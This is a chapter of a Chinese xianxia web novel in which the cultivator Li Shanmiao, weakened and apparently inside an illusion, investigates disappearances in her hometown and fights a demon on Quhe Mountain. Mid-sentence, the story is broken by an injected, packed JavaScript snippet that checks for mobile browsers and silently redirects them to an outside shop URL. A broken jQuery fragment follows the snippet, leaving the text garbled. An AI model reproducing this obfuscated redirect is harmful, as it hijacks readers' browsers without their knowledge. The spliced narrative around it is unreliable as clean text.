李善妙踏进浓浓夜色中,叩开李府的大门,眨眼间,她坐在了餐厅。
桌上摆满了各种佳肴,李夫人一个劲往她碗里添菜。
李善妙脑子发懵,这是怎么回事,面前这两位是假的爹娘么?也太像真人了。
还没来得及多想,突然听李夫人出声道:“善妙,快尝尝,这都是你小时候最爱吃的。”
“是啊,总不能修了仙之后就真的只饮露水吧,好不容易回家一趟,爹娘可要好好招待好这位仙子。”李老爷坐在一旁笑眯眯地调侃。
听爹娘这意思,她在这幻境之中已然是一位修士了,不过到底发生了什么尚且不得而知,还需得再试探试探。
李善妙露出跟以往相同的亲昵笑容,道:“爹娘真好,还记得女儿小时的口味。”
她扒了一口饭,脑子里思考着要怎么开口询问,总不能装失忆吧,李善妙默默摇了摇头,忽然感到一阵头晕,心里一惊,莫非这幻境里的东西不能吃?还是大意了。
好在这个症状没有持续多久,不过片刻便好转,她正要启唇说话,却好似忽然忘记了什么,想了想却着实没想到什么,遂又将嘴闭上了。
李夫人见女儿欲言又止,忙问:“善妙,可是有哪里不适的,虽说咱们一家人十年未有团聚之时,却也不必如此生分,”她一顿,有些哽咽,“叫为娘伤心。”
李老爷也在一旁道:“是啊,有什么不舒服的一定要告诉爹娘,我们就你这一个女儿,可不能叫你受半点委屈。”
听着这番话,李善妙一愣,对啊,她自从六岁那年得病之后就被一位北境的仙士救了,并且带到了北境修习,自此离家十年,此次回来,不过是上次除魔时伤了身体,修为大跌,被宗门特许回家修养。
这么多年没见爹娘,她着实不该叫二老伤心,李善妙连忙道:“我是好久没吃到家里的饭菜了,高兴得说不出话。”
“那就好。”
饭后,李善妙回到自己从小居住的院子,打开房门,惊叹这里的布局竟然与从前一般无二,甚至摆的东西都不见一丝灰尘。
她眼角泛起泪意,深吸一口气,坐在十年未见的床头。
李善妙修为跌得厉害,甚至跟以前淬灵的时候相差不大。
本应该好好修养,但她着实有些累,随手掐了一个清洁术把自己收拾干净,随后摊在了床上闭目休息。
夜半时分,李善妙睡不着,脑子里乱作一团,依稀记得有什么话是被她记在心里的,到底是什么呢,到底忘记了什么?
胡思乱想一通也没个结果,而后,她总算沉入梦中,半夜却被渴醒,她下意识张嘴想喊小莲,却又将自己惊了一跳,小莲是谁,自己今日怎的这般奇怪,当真是修为下跌让她心境不稳了么?
李善妙暗自懊恼不应该,随后独自爬起来喝了杯冷茶,再次睡下后梦里却不清净。
她好像是从小在家中长大,身边常伴一个名唤小莲的丫头,长到十六岁好似才离开家,参加了一个什么招生筛选。
真是奇了怪了,她自小就离了家在北境修行,怎么会梦到这般无厘头的事,又清醒过来的李善妙甩了甩头,手捂在心口处使劲压了压。
眼看着天际将白,索性就出门走走,省的心绪不得安宁。
这时连早市都还未开,她独自走在街上,很是冷清。
街上贴满了寻人告示,远远看着好似不止一人。
李善妙甩着发间流苏走近,定睛一看,发现好几张告示都是最近才贴上的,日期都还新鲜着。
她心中诧异,若是人贩子也不至于如此嚣张,隔三岔五就来拐人吧,真当衙门是摆设不成,可若不是人贩子,那这事也太奇怪了。
这么一想,眼睛看着告示,心里却无端蹦出那十年前的失踪案来。
当年,不正是有许多孩子失踪么,而自己也险些……李善妙想起六岁那年的遭遇,不由得将这怀疑对象推到了当年那诡异的小花身上。
据那救自己的仙人所说,那是魔物的蛊惑术。
会不会此次这些人的失踪也与魔物有关呢,李善妙想。
只是当年失踪的只有孩子,现下怎么连大人也被瞧上了,竟没人治它么。
若真是魔物所为,这苍南未免也太不靠谱了些。要知道五大仙门都是需要管自己域中百姓安危的,这碧溪县就是苍南所管。
然而事不宜迟,李善妙决定率先前往曲合山一探究竟,反正自己还有数不清的符箓傍身,遮掩气息绰绰有余了,若是真的棘手,届时再找援兵也不迟。
她往身上贴了张遮掩气息的符箓,又默念了速行诀,很快抵达曲合山山脚。
这里瘴气弥漫,显然不是一般人能够进入的,李善妙用灵力护体,如履平地般行走起来。
此处魔物显然没想到有人会来这山上寻它,并没有过多掩盖自己的踪迹,在这生活惯了,俨然是将自己当作了此处的山大王,连抓回来的人都没有过多管束,任由他们在这迷雾中如同无头苍蝇般胡乱扑腾。
李善妙听见了人类的抽气声,循着声音找到一堆气息微弱的人,有的还坚强地撑着一口气想要找到出去的路,然而大多数却是已经放弃了求生欲,面色蜡黄横七竖八的胡乱躺着,坐着。
魔物真是猖狂至此,一时间,她愤怒的情绪还没升起来,反而率先感到了荒谬。
——苍南也太不作为了。
李善妙无言,转而继续隐着气息寻找魔物,它就蹲坐在不远处,四爪趴在地上,一张狰狞扭曲的兽脸此时一动不动,显然是在休息。它通体漆黑,身边萦绕着有如实质的魔气,显然不是一只好对付的。
以她现在微弱的修为,不好贸然出击,李善妙无声循着原路下山,打算向宗门求援。
回到李府后,她拿出通信玉牌,输入信息:南方碧溪镇有魔物作祟,请速速派人支援。
通信玉牌是每个修士都有的,凡是加了好友的,便能够通过此物轻松与之交流,比信鸟快上不少,然而它最重要的作用却是求援。每个通信玉牌都连接着功善堂,收到弟子的求援信息后会优先派出没出任务的高修为弟子。
玉牌上的字迹亮了一瞬,这意味着信息已然被功善堂接受,不出意外的话,很快便会有人赶到。
李善妙沉下心来,等到晌午才走出房门,与李氏夫妇一同用饭。
饭后,她才说:“爹娘最近还是少出门的好,铺子之类的先放一放,最近外面恐怕并不安全。”
李老爷与夫人面面相觑:“这是何意?”
“外面那些失踪的人都是被魔物抓了,它行为嚣张,爹娘行走在外难免叫女儿担心。”李善妙解释道。
二老还不知道她修为大跌,只当女儿仙术非凡勘破了邪祟的诡计,当即应下来。
然而李夫人却还是有些担心:“那往后总不能一直不出门罢,魔物抓了那么些人,有什么法子能治治吗?”
“娘且放心,我已联系了师门,相信很快就会有人来,届时将那魔物除掉,碧溪县定会安宁。”
李善妙说完,回到自己房内闭目打坐,直到夜幕降临,她吐出一口浊气,伸展了筋骨,这才将玉牌拿出来看了两眼。
上面并未出现新的讯息,这实在不应该,功善堂收到弟子求援后会很快回复才是,怎的如此不同寻常。
她心中隐约感到担忧,然而除此之外没有别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769159|209846||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的办法,便又发送一条消息,心中定了一个期限,想着再给两天时间,若是不见人来,那么她便自己一人上山。
……
李善妙在混沌的梦中醒来,第一件事便是查看玉牌。
没有任何消息。
今日便是她给的最后期限,这已经是她回到李府的第三日,她心中无端预感不能再拖,仿佛继续等下去就会发生什么她不愿看到的事情。
修仙之人大都不会忽视这怪异的直觉,想了想,她深吸一口气,随意将乌发编成一个简单的发髻,而后跟随着心中所想踏进清晨的薄雾之中。
待她再次踏上曲合山这片土地之中,此处魔气明显比前几天更为浓稠,仿佛已经凝结成蛛丝,直往人身上裹缠。
李善妙暗自懊恼,她不该将希望都寄托在旁人身上,这魔物显然是又强大了不少。
她走到那些或坐或躺的人群之中,佯装成跟这些人一般的状态,静静等待时机出手。
终于,魔物发出沙哑难听的人言:“让我来挑挑,吃哪一个才好。”
它的目光四处梭巡,锁定在一个面色枯黄的成人身上。
魔物掌心朝那人一抓,一人一魔的距离骤然拉近,随即它豁然张开一张满是尖牙的大嘴,男人已经被吓得失了声,感觉到自己身上的力气与活气都被这张恶心的臭嘴凭空抽走。
同时,李善妙等到了机会,魔物吸人精气之时腹部微微泛起红光,很快这光亮聚集在一处,显然是魔丹显化。
没有时间犹豫,她掐诀,袖中骤然飞出一串符箓直往那魔丹处钉,每贴上一张,魔物就惨嚎一声。
它暴怒地停止进食,将目光对准这个打它的人类。
李善妙撇了撇眉,心中暗道可惜,却心知这已然算是一个利她的开局了,遂强行打起十二分精神去对付这东西。
“不自量力的人类,修为这般低下也敢同我叫嚣,今日且叫你有来无回!”魔物忍着疼痛恐吓道。
谁知李善妙嘴角一挑:“那我真是好怕啊,你只管放马过来,今日我必定打得你满地找牙。”
刚放完话,魔物前爪便朝她狠狠一挥,魔气荡在空中。
魔物本就不是聪明的东西,她这番羞辱叫它被气疯了头脑,以免误伤地上的百姓,她闪身将其引入无人的密林之中。
毕竟李善妙此时修为不占上风,她快速摸出两丸药放进嘴里,提高自己的体力,而后又将防御符箓往身上不要钱似的贴,最后左手拿攻击性符箓,右手召出一柄灵剑。
她一边往魔物身上甩符,一边用剑招攻击其薄弱处。
魔物动作渐渐滞涩起来,被她扰得越发恼怒,突然暴起怒吼,一时间空气中甚至出现了一阵魔气形成的波,李善妙来不及动作,猛地摔在地上,嘴角溢出一丝鲜血,身上皮肤也都被魔气割得寸寸见血。
再看魔物,它显然也受了重伤,身上没有一块好肉,两只前爪紧紧捧着腹部,嘴里牙齿断了一半,正哼哧哼哧喘着粗气。
这属于是两败俱伤了。
李善妙头晕的厉害,但她显然不打算让自己处于这般不安的局面,正双手撑地想要站起来,袖袍里却滚出来一样东西,正是通信玉牌。
牌面上亮了亮,有回信了?
不待她高兴,将其捡起一看却是什么都没有。
她将其捏紧,深深吸了口气,却突然察觉掌中之物好似变了形状,手指迅速张开,定睛一看,哪还有什么玉牌,摊在手心的俨然是个又扁又圆的陌生物件。
“……”什么情况?
李善妙在魔物虎视眈眈的凝望之下疑惑着,蓦地,此物面上浮现出一行金色小字:掰断可无恙。